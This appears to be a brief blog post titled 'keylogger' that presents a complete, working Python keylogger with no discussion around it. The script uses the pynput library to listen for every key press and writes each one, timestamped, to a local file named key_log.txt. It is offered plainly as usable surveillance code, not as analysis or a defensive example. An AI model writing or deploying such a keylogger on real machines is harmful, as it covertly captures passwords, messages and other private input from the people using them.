Header Ads

Header ADS

keylogger

 from pynput.keyboard import Key, Listener

import logging
from datetime import datetime

# If no directory is provided, it defaults to the current directory
log_dir = ""

# This is a basic logging function
logging.basicConfig(
    filename=(log_dir + "key_log.txt"),  # The path where the log file will be saved
    level=logging.DEBUG,
    format='%(asctime)s:%(message)s',  # Format to include date and time
)

# This function is triggered on key press
def on_press(key):
    # Logging the key press with the current date and time
    logging.info(f"{datetime.now()}: {str(key)}")

# This starts the listener
with Listener(on_press=on_press) as listener:
    listener.join()

No comments

Powered by Blogger.